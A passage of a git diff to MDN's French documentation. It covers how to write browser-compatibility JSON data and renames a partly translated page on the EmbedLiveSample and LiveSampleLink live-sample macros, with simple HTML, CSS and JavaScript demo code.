  • "deprecated": Ceci doit être mis à true si la fonctionnalité est dépréciée, ou false dans les autres cas.
    • +
+ +

Les données pour la propriété border-width (voir aussi border-width.json) sont présentées ci-dessous à titre d'exemple:

+ +
"__compat": {
+  "mdn_url": "https://developer.mozilla.org/docs/Web/CSS/border-width",
+  "support": {
+    "chrome": {
+      "version_added": "1"
+    },
+    "webview_android": {
+      "version_added": "2"
+    },
+    "edge": {
+      "version_added": true
+    },
+    "edge_mobile": {
+      "version_added": true
+    },
+    "firefox": {
+      "version_added": "1"
+    },
+    "firefox_android": {
+      "version_added": "1"
+    },
+    "ie": {
+      "version_added": "4"
+    },
+    "ie_mobile": {
+      "version_added": "6"
+    },
+    "opera": {
+      "version_added": "3.5"
+    },
+    "opera_android": {
+      "version_added": "11"
+    },
+    "safari": {
+      "version_added": "1"
+    },
+    "safari_ios": {
+      "version_added": "3"
+    }
+  },
+  "status": {
+    "experimental": false,
+    "standard_track": true,
+    "deprecated": false
+  }
+}
+ +

Ajouter une description

+ +

Il y a un quatrième membre, optionnel, qui peut être placé à l'intérieur du membre __compat — description. Ceci peut être utilisé pour inclure une description, compréhensible par les humains, de cette fonctionnalité. Vous ne devez l'inclure que s'il est difficile de voir de quoi il s'agit en ne regardant que les données. Par exemple, il peut ne pas être évident qu'il s'agit d'un constructeur en ne regardant que la structure des données, vous pouvez donc ajouter une description comme:

+ +
{
+  "api": {
+    "AbortController": {
+      "__compat": {
+        ...
+      },
+      "AbortController": {
+        "__compat": {
+          "mdn_url": "https://developer.mozilla.org/docs/Web/API/AbortController/AbortController",
+          "description": "<code>AbortController()</code> constructor",
+          "support": {
+            ...
+          }
+        }
+      }
+
+      ... etc.
+    }
+  }
+}
+ +

Sub-features

+ +

In a page where the compat table has more than one row, you'll need multiple subfeatures inside each feature to define the information for each row. This can happen, for example, when you've got the basic support for a feature stored in one row, but then the feature also has a new property or value type that was addded much later in the specification's life and is only supported in a couple of browsers.

+ +

As an example, see the compat data and corresponding MDN page for the background-color property. The basic support exists inside the __compat object as explained above, then you have an additional row for browsers' support for "alpha channel for hex values", which contains its own __compat object.

+ +
{
+  "css": {
+    "properties": {
+      "background-color": {
+        "__compat": {
+          ...
+        },
+        "alpha_ch_for_hex": {
+          "__compat": {
+            ...
+          },
+        }
+      }
+    }
+  }
+}
+ +

For an API, you've got the top two levels defined as api.name-of-the-interface, then a top-level __compat section to define the overall browser compatibility of the interface, then a sub-feature for each of the methods, properties, and constructors contained inside the interface. The basic structure looks like this:

+ +
{
+  "api": {
+    "VRDisplay": {
+      "__compat": {
+        ...
+      },
+      "cancelAnimationFrame": {
+        "__compat": {
+          ...
+        }
+      },
+      "capabilities": {
+        "__compat": {
+          ...
+        }
+      },
+
+      ... etc.
+
+    }
+  }
+}
+ +

See VRDisplay.json for a full example.

+
+ +

Adding data: Advanced cases

+ +

There are some advanced features that you'll want to include in browser compat data. The aim of this section is to list the most common ones, providing an example of each to show how you can implement them in your own compat data.

+ +

Including a footnote

+ +

Often compat tables will include footnotes related to certain entries that explain useful details or strange behavior that developers will find useful. As an example, the Chrome Android entry for {{domxref("VRDisplay.capabilities")}} (see also VRDisplay.json)  (at the time of writing) had a footnote "Currently supported only by Google Daydream." To include this in the capabilities data, we added a "notes" submember inside the relevant "chrome_android" submember; it would look like this:

+ +
"chrome_android": {
+  "version_added": true,
+  "notes": "Currently supported only by Google Daydream."
+}
+ +

Including a vendor prefix

+ +

If a feature is supported behind a vendor prefix in one or more browsers, you'll want to make that clear in the browser compat data. imagine you had a feature that was supported with a -moz- prefix in Firefox. To specify this in the compat data, you'd need to add a "prefix" submember inside the relevant "firefox" submember. It would look something like this:

+ +
"firefox": {
+  "version_added": true,
+  "prefix": "-moz-"
+}
+ +

Including browser preferences or flags

+ +

Some features may be supported in a browser, but they are experimental and turned off by default. If a user wants to play with this feature they need to turn it on using a preference/flag.

+ +

To represent this in the compat data, you need to add the "flags" submember inside the relevant browser identifier submember. The value of "flags" is an array of objects each of which contains of three members:

+ +
    +
  • "type": The type of flag or pref this is. The most common value is "preference", which is set inside the browser (for example, using about:config in Firefox, or chrome://flags in Chrome), but you might also sometimes use a value of "compile_flag", which is a preference set when the browser build is compiled.
    • +
  • "name": This is a string representing the name of the preference that needs to have a value set on it. For example, "Enable Experimental Web Platform Features" is a preference that exists in Chrome, found in chrome://flags.
    • +
  • "value_to_set": This is a string representing the value that needs to be set on the preference, for example "true".
    • +
+ +

So to add a preference/flag to the Chrome support for a feature, you'd do something like this:

+ +
"chrome": {
+  "version_added": "50",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "Enable Experimental Web Platform Features",
+      "value_to_set": "true"
+    }
+  ]
+},
+ +

If a feature is behind two or more flags, you can add additional objects to the "flags" array, like in this case, for example:

+ +
"firefox": {
+  "version_added": "57",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "dom.streams.enabled",
+      "value_to_set": "true"
+    },
+    {
+      "type": "preference",
+      "name": "javascript.options.streams",
+      "value_to_set": "true"
+    }
+  ]
+},
+ +

Including a version where support was removed

+ +

Sometimes a feature will be added in a certain browser version, but then removed again as the feature is deprecated. This can be easily represented using the "version_removed" submember, which takes as its value a string representing the version number it was removed on. For example:

+ +
"firefox": {
+  "version_added": "35",
+  "version_removed": "47",
+},
+ +

Including multiple support points for the same browser entry

+ +

Sometimes you'll want to add multiple support data points for the same browser inside the same feature.

+ +

As an example, the {{cssxref("text-align-last")}} property (see also text-align-last.json) was added to Chrome in version 35, supported behind a pref.

+ +

The support mentioned above was then removed in version 47; also in version 47, support was added for text-align-last enabled by default.

+ +

To include both of these data points, you can make the value of the "chrome" submember an array containing two support information objects, rather than just a single support information object:

+ +
"chrome": [
+  {
+    "version_added": "47"
+  },
+  {
+    "version_added": "35",
+    "version_removed": "47",
+    "flags": [
+      {
+        "type": "preference",
+        "name": "Enable Experimental Web Platform Features",
+        "value_to_set": "true"
+      }
+    ]
+  }
+],
+ +
+

Note: You should put the most current or important support point first in the array — this makes the data easier to read for people who just want to scan it for the latest info.

+
+ +

Including an alternative name

+ +

Occasionally browsers will support a feature under a different name to the name defined in its specification. This might be for example because a browser added experimental support for a feature early, and then the name changed before the spec stabilized.

+ +

To include such a case in the browser compat data, you can include a support information point that specifies the alternative name inside an "alternative_name" member.

+ +
+

Note: The alternative name might not be an exact alias — it might have differing behaviour to the standard version.

+
+ +

Let's look at an example. The {{cssxref("border-top-right-radius")}} property (see also border-top-right-radius.json) was supported in Firefox:

+ +
    +
  • From version 4 onwards with the standard name border-top-right-radius.
    • +
  • From version 49 onwards with a -webkit- prefix, for browser compatibility purposes.
    • +
  • From version 1 onwards with the alternative name -moz-border-radius-topright. Support for this alias was removed in version 12.
    • +
+ +

To represent this in the data, we used the following JSON:

+ +
"firefox": [
+  {
+    "version_added": "4",
+    "notes": "Prior to Firefox 50.0, border styles of rounded corners were always rendered as if <code>border-style</code> was solid. This has been fixed in Firefox 50.0."
+  },
+  {
+    "prefix": "-webkit-",
+    "version_added": "49",
+    "notes": "From Firefox 44 to 48, the <code>-webkit-</code> prefix was available with the <code>layout.css.prefixes.webkit</code> preference. Starting with Firefox 49, the preference defaults to <code>true</code>."
+  },
+  {
+    "alternative_name": "-moz-border-radius-topright",
+    "version_added": "1",
+    "version_removed": "12"
+  }
+],
+ +

Pushing a change back to the main repo

+ +

Once you are finished with adding your compat data, you should first test it using the following commands:

+ +
    +
  • npm run lint — tests all the compat data to make sure the JSON is valid, and is written in the correct style, for example correct indentation, no missing commas, etc. It will print out a long list of file names and test results; if an error is found, the linter will throw an error on the file it is found in, giving you useful debugging info like line number, error message, etc.
    • +
  • npm run show-errors — validates the JSON against the data schema, and highlights errors such as invalid browser version numbers being used.
    • +
  • npm run render 'dotted.path.to.feature' — allows you to preview the markup for the compat table for a data file in the repo. As an example, npm run render 'css.properties.background' shows the table markup for the {{cssxref("background")}} property.
    • +
+ +

If it is looking OK, you then need to commit it and push it back up to your remote fork on GitHub. You can do this easily with terminal commands like this:

+ +
git add .
+git commit -m 'adding compat data for name-of-feature'
+git push
+ +

Now go to your remote fork (i.e. https://github.com/your-username/browser-compat-data) and you should see information about your push at the top of the files list (under "Your recently pushed branches"). You can create a pull request (starting the process of pushing this to the main repo) by pressing the "Compare & pull request" button, then following the simple prompts on the subsequent screen.

+ +

At this point, you just need to wait. A reviewer will review your pull request, and merge it with the main repo, OR request that you make changes. If changes are needed, make the changes and submit again until the PR is accepted.

+ +

Inserting the data into MDN pages

+ +

Once your new data has been included in the main repo, you can start dynamically generating browser compat tables based on that data on MDN pages using the \{{Compat}} macro. This takes a single parameter, the dot notation required to walk down the JSON data and find the object representing the feature you want to generate the compat table for.

+ +

Above the macro call, to help other contributors finding their way, you should add a hidden text that is only visible in MDN contributors in edit mode:

+ +
<div class="hidden">
+<p>The compatibility table on this page is generated from structured data.
+If you'd like to contribute to the data, please check out
+<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>
+and send us a pull request.</p>
+</div>
+ +

As an example, on the {{httpheader("Accept-Charset")}} HTTP header page, the macro call looks like this: \{{Compat("http.headers.Accept-Charset")}}. If you look at the accept-charset.json file in the repo, you'll see how this is reflected in the JSON data.

+ +

As another example, The compat table for the {{domxref("VRDisplay.capabilities")}} property is generated using \{{Compat("api.VRDisplay.capabilities")}}. The macro call generates the following table (and corresponding set of notes):

+ +
+ + +

{{Compat("api.VRDisplay.capabilities")}}

+ +
+

Note: The filenames often match the labels given to the interfaces inside the JSON structures, but it is not always the case. When the macro calls generate the tables, they walk through all the files until they find the relevant JSON to use, so the filenames are not critical. Saying that, you should always name them as intuitively as possible.

+
diff --git a/files/fr/mdn/structures/exemples_live/index.html b/files/fr/mdn/structures/exemples_live/index.html deleted file mode 100644 index 7645a89375..0000000000 --- a/files/fr/mdn/structures/exemples_live/index.html +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: Exemples live -slug: MDN/Structures/Exemples_live -tags: - - Débutant - - Guide - - MDN - - MDN Meta -translation_of: MDN/Structures/Live_samples ---- -
{{MDNSidebar}}
- -

MDN permet de transformer les exemples présentés dans les articles en exemples dit "live" qui permettent aux lecteurs de les voir en action. Les exemples live peuvent inclure du HTML, CSS et JavaScript. A noter, les exemples lives ne sont pas intéractifs; néanmoins, ils assurent que le code de sortie affiché pour un exemple est bien le même que défini par l'exemple, parce que la sortie est générée par le code d'exemple.

- -

Comment le système d'exemples lives fonctionne-t-il ?

- -

Le système d'exemple live rassemble tout le code existant et le fusionne dans un fichier HTML, puis affiche ce fichier dans une {{HTMLElement("iframe")}}. Un exemple live est composé de deux parties : 

- -
    -
  • Un groupe qui comporte tout le code de l'exemple
    • -
  • La macro (crée l'iframe ou le lien qui) affiche le résultat du bloque de code
    • -
- -

A "group" of code blocks, in this context, is identified by the ID of a heading or a block element (such as a {{HTMLElement("div")}}).

- -
    -
  • If the ID belongs to a block element, the group includes all the code blocks within the enclosing block element whose ID is used. 
    • -
  • If the ID belongs to a heading, the group includes all the code blocks that are after that heading and before the next heading of the same heading level. Note that code blocks under subheadings of the specified heading are all used; if this is not the effect you want, use an ID on a block element instead.
    • -
- -

The macro uses a special URL to fetch the sample code for a given group: http://url-of-page$samples/group-id, where group-id is the ID of the heading or block where the code is located. The resulting frame (or page) is sandboxed, secure, and technically may do anything that works on the Web. Of course, as a practical matter, the code must contribute to the point of the page that contains it; random stuff running on MDN will be removed by the editor community.

- -
-

Note: You must use the macro for presenting the live sample's output. MDN's editor will strip out any direct use of the <iframe> element in order to ensure security.

-
- -

Each {{HTMLElement("pre")}} block containing code for the sample has a class on it that indicates whether it's HTML, CSS, or JavaScript code; these are "brush: html", "brush: css", and "brush: js". These classes must be on the corresponding blocks of code so that the wiki can use them correctly; fortunately, these are added for you automatically when you use the syntax highlighter features in the editor's toolbar.

- -

The live sample system has lots of options available, and we'll try to break things down to look at them a bit at a time.

- -

Live sample macros

- -

There are two macros that you can use to display live samples:

- - - -

In many cases, you may be able to add the EmbedLiveSample or LiveSampleLink macro to pages with little or no additional work! As long as the sample can be identified by a heading's ID or is in a block with an ID you can use, simply adding the macro should do the job.

- -

EmbedLiveSample macro

- -
 \{{EmbedLiveSample(block_ID, width, height, screenshot_URL, page_slug)}}
- -
-
block_ID
-
Required: The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
-
width
-
The width of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default width will be used if you omit this. Note that if you want to use a specific width, you must also specify the height parameter.
-
height
-
The height of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default height will be used if you omit this. Note that if you want to use a specific height, you must also specify the width parameter. If you use only one of them, the default frame size is used.
-
screenshot_URL
-
The URL of a screenshot that shows what the live sample should look like. This is optional, but can be useful for new technologies that may not work in the user's browser, so they can see what the sample would look like if it were supported by their browser. If you include this parameter, the screenshot is shown next to the live sample, with appropriate headings.
-
page_slug
-
The slug of the page containing the sample; this is optional, and if it's not provided, the sample is pulled from the same page on which the macro is used.
-
- -
    -
- - - -
 \{{LiveSampleLink(block_ID, link_text)}}
- -
-
block_ID
-
The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
-
link_text
-
A string to use as the link text.
-
- -

Using the live sample system

- -

The sections below describe a few common use cases for the live sample system.

- -

In all of these cases, to see the results of the live sample, you must click Save Changes in the editor (which takes you out of edit mode). Because of the reflexive, Inception-like nature of live samples, the Preview Changes functionality is not able to display live samples.

- -

Turning snippets into live samples

- -

One common use case is to take existing code snippets already shown on MDN and turn them into live samples.

- -

Prepare the code samples

- -

The first step is to either add code snippets or ensure that existing ones are ready to be used as live samples, in terms of the content and in terms of their mark-up. The code snippets, taken together, must comprise a complete, runnable example. For example, if the existing snippet shows only CSS, you might need to add a snippet of HTML for the CSS to operate on.

- -

Each piece of code must be in a {{HTMLElement("pre")}} block, with a separate block for each language, properly marked as to which language it is. Most of the time, this has already been done, but it's always worth double-checking to be sure each piece of code is configured with the correct syntax. Next to the PRE icon in the toolbar is a drop-down menu icon (tooltip: Syntax Highlighter) with the various languages that MDN does syntax highlighting for. Setting the language for the block for syntax highlighting also correlates it with a language for the purposes of the live sample system.

- -
-

Note: You may have more than one block for each language; they are all concatenated together. This lets you have a chunk of code, followed by an explanation of how it works, then another chunk, and so forth. This makes it even easier to produce tutorials and the like that utilize live samples interspersed with explanatory text.

-
- -

So make sure the {{HTMLElement("pre")}} blocks for your HTML, CSS, and/or JavaScript code are each configured correctly for that language's syntax highlighting, and you're good to go.

- -
-

Note: When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).

-
- -

Insert the live sample macro

- -

Once the code is in place and properly configured to identify each block's language, you need to insert the macro that creates the iframe.

- -
    -
  1. Click the Insert Live Code Sample iFrame button in the toolbar; it looks like this: . This opens a dialog box for configuring your live sample frame:
    2. -
  2. Under Document, enter the title of the article that contains the sample you wish to embed. By default, it's the article you're currently editing, but you can choose an article elsewhere on MDN, too. This makes it possible to reuse samples on multiple pages if needed. (If you type new text in this field, a menu of partially matching pages appears; select the title of the page you want.)
    3. -
  3. In the Sections in Document menu, select the section in the article that contains the code blocks of the sample you want to embed.
    4. -
  4. Click the OK button to generate and insert the macro call that creates the sample frame for you. The macro call looks something like this:
    - \{{ EmbedLiveSample('Live_sample_demo') }}
    5. -
- -

Adding a new live sample

- -

If you're writing a new page, and want to insert code that you want to present as a live sample, even more of the work can be done for you by the editor! 

- -
    -
  1. Click the Insert Code Sample Template button in the toolbar, which looks like this: . This presents a simple dialog asking you to name your live sample:
    -
    2. -
  2. Enter the title of the sample; this is used as the heading for the sample. Make sure that your title makes sense within the context of the page you're on.
    3. -
  3. Click OK. A new heading with the title you entered is created, with sub-headings and empty code blocks for HTML, CSS, and JavaScript.
    4. -
  4. Delete any headings and code blocks you don't need.
    5. -
  5. Enter the code that makes up your sample in the appropriate code blocks
    6. -
  6. Check conventions
    7. -
- -

Using the Sample Finder

- -

As mentioned above, the Sample Finder is activated by clicking the Insert Live Code Sample iFrame icon. Unfortunately the the Sample Finder may produce a macro that is NOT usable without editing. There are two problem areas that should be carefully checked and edited if necessary.

- -
    -
  1. Document field. This field will search as you type and present a list of documents that match your string. But the list presented will NOT include the sub-page. For example, say you are working on the subpage for Negative under the main page @counter-style. The Sample Finder search will not find Negative but will find the main page @counter-style. When @counter-style is selected the field background turns green. See below for the issue this creates.
    2. -
  2. Sections in Document. The pull-down menu Sections in Document may not show the section that you need. Just pick one, say Examples, and it can be fixed with a simple edit.
    3. -
- -

Here is what the Sample Finder produced:

- -
\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}
- -

This macro will not work. The block_ID is Examples and it should be Example in this case (check the source ID for this section to verify which block_ID you need to use. Similarly the page_slug is @counter-style and it should be @counter-style/negative. These corrections can be done directly in the page with Edit active.

- -

After editing the macro now looks like this:

- -
\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}
- -

This edited macro will work correctly. If the macro is working correctly you will see the Open in CodePen button. A thumbnail of the example should appear above the Open in CodePen button. If the button is there but there isn't a thumbnail, just wait a few minutes. It may take some time for the server to generate it.

- -

Finding samples that need updating

- -

When looking for existing samples to update, there are three main kinds of updating you may wish to do:

- -
    -
  • Turn an existing non-live example snippet into a live sample.
    • -
  • Correct bugs in an existing live sample.
    • -
  • Improve an existing live sample, or update a sample based on technology changes.
    • -
- -
-

Note: If you find an article that has samples in need of being updated to use the live sample system, please add the tag "NeedsLiveSample" to the page.

-
- -

Finding samples to turn into live samples

- -

MDN has lots of older examples that don't yet use the live sample system. Our goal is to update most or all of these to be live samples. This will improve consistency and usability. You will almost certainly find many of these as you use MDN on a daily basis; however, how can you find them if you're specifically looking for them to update? Unfortunately, there's not an easy way to do that. But there are some guidelines you can follow to help track them down:

- - - -

Live sample demo

- -

This section is the result of using the live sample template button to create not only the main heading ("Live sample demo"), but also subheadings for our HTML, CSS, and JavaScript content. You're not limited to one block of each; in addition, they don't even need to be in any particular order. Mix and match!

- -

You may choose to delete any of these you wish; if you don't need any script, just delete that heading and its {{HTMLElement("pre")}} block. You can also delete the heading for a code block ("HTML", "CSS", or "JavaScript"), since these are not used by the live sample macro.

- -

Now that the template has been inserted, we can put in some code, and even some explanatory text.

- -

HTML

- -

This HTML creates a paragraph and some blocks to help us position and style a message.

- -
<p>A simple example of the live sample system in action.</p>
-<div class="box">
-  <div id="item">Hello world!</div>
-</div>
-
- -

CSS

- -

The CSS code styles the box as well as the text inside it.

- -
.box {
-  width: 200px;
-  height: 100 px;
-  border-radius: 6px;
-  background-color: #ffaabb;
-}
-
-#item {
-  width: 100%;
-  font-weight: bold;
-  text-align: center;
-  font-size: 2em;
-}
-
- -

JavaScript

- -

This code is very simple. All it does is attach an event handler to the "Hello world!" text that makes an alert appear when it is clicked.

- -
var el = document.getElementById('item');
-el.onclick = function() {
-  alert('Owww, stop poking me!');
-}
-
- -

Result

- -

Here is the result of running the code blocks above via \{{EmbedLiveSample('Live_sample_demo')}}:

- -

{{EmbedLiveSample('Live_sample_demo')}}

- -

Here is a link that results from calling these code blocks via \{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}:

- -

{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}

- -

Conventions regarding live samples

- -
-

Note: This is currently (Feb. 2016) under discussion on the dev-mdc mailing list (see this thread). Any input is welcome. If this note persists after some month (Apr. 2016), please reach the author of the first email in this thread for updating this page.

-
- -
-
Orders of code blocks
-
When adding a live sample, the code blocks should be sorted so that the first one corresponds to the main language for this sample (if there is one). For example, when adding a live sample for the HTML Reference, the first block should be HTML, when adding a live sample for the CSS Reference, it should be CSS and so on.
-
Naming of headings
-
When there is no ambiguity (e.g. the sample is under a "Examples" section), headings should be straightforward with the sole name of the corresponding language: HTML, CSS, JavaScript, SVG, etc. (see above). Headings like "HTML Content" or "JavaScript Content" should not be used. However if such a short heading makes content unclear, one can use a more thoughtful title.
-
Using a "Result" block
-
After the different code blocks, please use a last "Result" block before using the EmbedLiveSample macro (see above). This way, the semantic of the example is made clearer for both the reader and any tools that would parse the page (e.g. screen reader, web crawler).
-
diff --git a/files/fr/mdn/structures/live_samples/index.html b/files/fr/mdn/structures/live_samples/index.html new file mode 100644 index 0000000000..7645a89375 --- /dev/null +++ b/files/fr/mdn/structures/live_samples/index.html @@ -0,0 +1,250 @@ +--- +title: Exemples live +slug: MDN/Structures/Exemples_live +tags: + - Débutant + - Guide + - MDN + - MDN Meta +translation_of: MDN/Structures/Live_samples +--- +
{{MDNSidebar}}
+ +

MDN permet de transformer les exemples présentés dans les articles en exemples dit "live" qui permettent aux lecteurs de les voir en action. Les exemples live peuvent inclure du HTML, CSS et JavaScript. A noter, les exemples lives ne sont pas intéractifs; néanmoins, ils assurent que le code de sortie affiché pour un exemple est bien le même que défini par l'exemple, parce que la sortie est générée par le code d'exemple.

+ +

Comment le système d'exemples lives fonctionne-t-il ?

+ +

Le système d'exemple live rassemble tout le code existant et le fusionne dans un fichier HTML, puis affiche ce fichier dans une {{HTMLElement("iframe")}}. Un exemple live est composé de deux parties : 

+ +
    +
  • Un groupe qui comporte tout le code de l'exemple
    • +
  • La macro (crée l'iframe ou le lien qui) affiche le résultat du bloque de code
    • +
+ +

A "group" of code blocks, in this context, is identified by the ID of a heading or a block element (such as a {{HTMLElement("div")}}).

+ +
    +
  • If the ID belongs to a block element, the group includes all the code blocks within the enclosing block element whose ID is used. 
    • +
  • If the ID belongs to a heading, the group includes all the code blocks that are after that heading and before the next heading of the same heading level. Note that code blocks under subheadings of the specified heading are all used; if this is not the effect you want, use an ID on a block element instead.
    • +
+ +

The macro uses a special URL to fetch the sample code for a given group: http://url-of-page$samples/group-id, where group-id is the ID of the heading or block where the code is located. The resulting frame (or page) is sandboxed, secure, and technically may do anything that works on the Web. Of course, as a practical matter, the code must contribute to the point of the page that contains it; random stuff running on MDN will be removed by the editor community.

+ +
+

Note: You must use the macro for presenting the live sample's output. MDN's editor will strip out any direct use of the <iframe> element in order to ensure security.

+
+ +

Each {{HTMLElement("pre")}} block containing code for the sample has a class on it that indicates whether it's HTML, CSS, or JavaScript code; these are "brush: html", "brush: css", and "brush: js". These classes must be on the corresponding blocks of code so that the wiki can use them correctly; fortunately, these are added for you automatically when you use the syntax highlighter features in the editor's toolbar.

+ +

The live sample system has lots of options available, and we'll try to break things down to look at them a bit at a time.

+ +

Live sample macros

+ +

There are two macros that you can use to display live samples:

+ + + +

In many cases, you may be able to add the EmbedLiveSample or LiveSampleLink macro to pages with little or no additional work! As long as the sample can be identified by a heading's ID or is in a block with an ID you can use, simply adding the macro should do the job.

+ +

EmbedLiveSample macro

+ +
 \{{EmbedLiveSample(block_ID, width, height, screenshot_URL, page_slug)}}
+ +
+
block_ID
+
Required: The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
+
width
+
The width of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default width will be used if you omit this. Note that if you want to use a specific width, you must also specify the height parameter.
+
height
+
The height of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default height will be used if you omit this. Note that if you want to use a specific height, you must also specify the width parameter. If you use only one of them, the default frame size is used.
+
screenshot_URL
+
The URL of a screenshot that shows what the live sample should look like. This is optional, but can be useful for new technologies that may not work in the user's browser, so they can see what the sample would look like if it were supported by their browser. If you include this parameter, the screenshot is shown next to the live sample, with appropriate headings.
+
page_slug
+
The slug of the page containing the sample; this is optional, and if it's not provided, the sample is pulled from the same page on which the macro is used.
+
+ +
    +
+ + + +
 \{{LiveSampleLink(block_ID, link_text)}}
+ +
+
block_ID
+
The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
+
link_text
+
A string to use as the link text.
+
+ +

Using the live sample system

+ +

The sections below describe a few common use cases for the live sample system.

+ +

In all of these cases, to see the results of the live sample, you must click Save Changes in the editor (which takes you out of edit mode). Because of the reflexive, Inception-like nature of live samples, the Preview Changes functionality is not able to display live samples.

+ +

Turning snippets into live samples

+ +

One common use case is to take existing code snippets already shown on MDN and turn them into live samples.

+ +

Prepare the code samples

+ +

The first step is to either add code snippets or ensure that existing ones are ready to be used as live samples, in terms of the content and in terms of their mark-up. The code snippets, taken together, must comprise a complete, runnable example. For example, if the existing snippet shows only CSS, you might need to add a snippet of HTML for the CSS to operate on.

+ +

Each piece of code must be in a {{HTMLElement("pre")}} block, with a separate block for each language, properly marked as to which language it is. Most of the time, this has already been done, but it's always worth double-checking to be sure each piece of code is configured with the correct syntax. Next to the PRE icon in the toolbar is a drop-down menu icon (tooltip: Syntax Highlighter) with the various languages that MDN does syntax highlighting for. Setting the language for the block for syntax highlighting also correlates it with a language for the purposes of the live sample system.

+ +
+

Note: You may have more than one block for each language; they are all concatenated together. This lets you have a chunk of code, followed by an explanation of how it works, then another chunk, and so forth. This makes it even easier to produce tutorials and the like that utilize live samples interspersed with explanatory text.

+
+ +

So make sure the {{HTMLElement("pre")}} blocks for your HTML, CSS, and/or JavaScript code are each configured correctly for that language's syntax highlighting, and you're good to go.

+ +
+

Note: When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).

+
+ +

Insert the live sample macro

+ +

Once the code is in place and properly configured to identify each block's language, you need to insert the macro that creates the iframe.

+ +
    +
  1. Click the Insert Live Code Sample iFrame button in the toolbar; it looks like this: . This opens a dialog box for configuring your live sample frame:
    2. +
  2. Under Document, enter the title of the article that contains the sample you wish to embed. By default, it's the article you're currently editing, but you can choose an article elsewhere on MDN, too. This makes it possible to reuse samples on multiple pages if needed. (If you type new text in this field, a menu of partially matching pages appears; select the title of the page you want.)
    3. +
  3. In the Sections in Document menu, select the section in the article that contains the code blocks of the sample you want to embed.
    4. +
  4. Click the OK button to generate and insert the macro call that creates the sample frame for you. The macro call looks something like this:
    + \{{ EmbedLiveSample('Live_sample_demo') }}
    5. +
+ +

Adding a new live sample

+ +

If you're writing a new page, and want to insert code that you want to present as a live sample, even more of the work can be done for you by the editor! 

+ +
    +
  1. Click the Insert Code Sample Template button in the toolbar, which looks like this: . This presents a simple dialog asking you to name your live sample:
    +
    2. +
  2. Enter the title of the sample; this is used as the heading for the sample. Make sure that your title makes sense within the context of the page you're on.
    3. +
  3. Click OK. A new heading with the title you entered is created, with sub-headings and empty code blocks for HTML, CSS, and JavaScript.
    4. +
  4. Delete any headings and code blocks you don't need.
    5. +
  5. Enter the code that makes up your sample in the appropriate code blocks
    6. +
  6. Check conventions
    7. +
+ +

Using the Sample Finder

+ +

As mentioned above, the Sample Finder is activated by clicking the Insert Live Code Sample iFrame icon. Unfortunately the the Sample Finder may produce a macro that is NOT usable without editing. There are two problem areas that should be carefully checked and edited if necessary.

+ +
    +
  1. Document field. This field will search as you type and present a list of documents that match your string. But the list presented will NOT include the sub-page. For example, say you are working on the subpage for Negative under the main page @counter-style. The Sample Finder search will not find Negative but will find the main page @counter-style. When @counter-style is selected the field background turns green. See below for the issue this creates.
    2. +
  2. Sections in Document. The pull-down menu Sections in Document may not show the section that you need. Just pick one, say Examples, and it can be fixed with a simple edit.
    3. +
+ +

Here is what the Sample Finder produced:

+ +
\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}
+ +

This macro will not work. The block_ID is Examples and it should be Example in this case (check the source ID for this section to verify which block_ID you need to use. Similarly the page_slug is @counter-style and it should be @counter-style/negative. These corrections can be done directly in the page with Edit active.

+ +

After editing the macro now looks like this:

+ +
\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}
+ +

This edited macro will work correctly. If the macro is working correctly you will see the Open in CodePen button. A thumbnail of the example should appear above the Open in CodePen button. If the button is there but there isn't a thumbnail, just wait a few minutes. It may take some time for the server to generate it.

+ +

Finding samples that need updating

+ +

When looking for existing samples to update, there are three main kinds of updating you may wish to do:

+ +
    +
  • Turn an existing non-live example snippet into a live sample.
    • +
  • Correct bugs in an existing live sample.
    • +
  • Improve an existing live sample, or update a sample based on technology changes.
    • +
+ +
+

Note: If you find an article that has samples in need of being updated to use the live sample system, please add the tag "NeedsLiveSample" to the page.

+
+ +

Finding samples to turn into live samples

+ +

MDN has lots of older examples that don't yet use the live sample system. Our goal is to update most or all of these to be live samples. This will improve consistency and usability. You will almost certainly find many of these as you use MDN on a daily basis; however, how can you find them if you're specifically looking for them to update? Unfortunately, there's not an easy way to do that. But there are some guidelines you can follow to help track them down:

+ + + +

Live sample demo

+ +

This section is the result of using the live sample template button to create not only the main heading ("Live sample demo"), but also subheadings for our HTML, CSS, and JavaScript content. You're not limited to one block of each; in addition, they don't even need to be in any particular order. Mix and match!

+ +

You may choose to delete any of these you wish; if you don't need any script, just delete that heading and its {{HTMLElement("pre")}} block. You can also delete the heading for a code block ("HTML", "CSS", or "JavaScript"), since these are not used by the live sample macro.

+ +

Now that the template has been inserted, we can put in some code, and even some explanatory text.

+ +

HTML

+ +

This HTML creates a paragraph and some blocks to help us position and style a message.

+ +
<p>A simple example of the live sample system in action.</p>
+<div class="box">
+  <div id="item">Hello world!</div>
+</div>
+
+ +

CSS

+ +

The CSS code styles the box as well as the text inside it.

+ +
.box {
+  width: 200px;
+  height: 100 px;
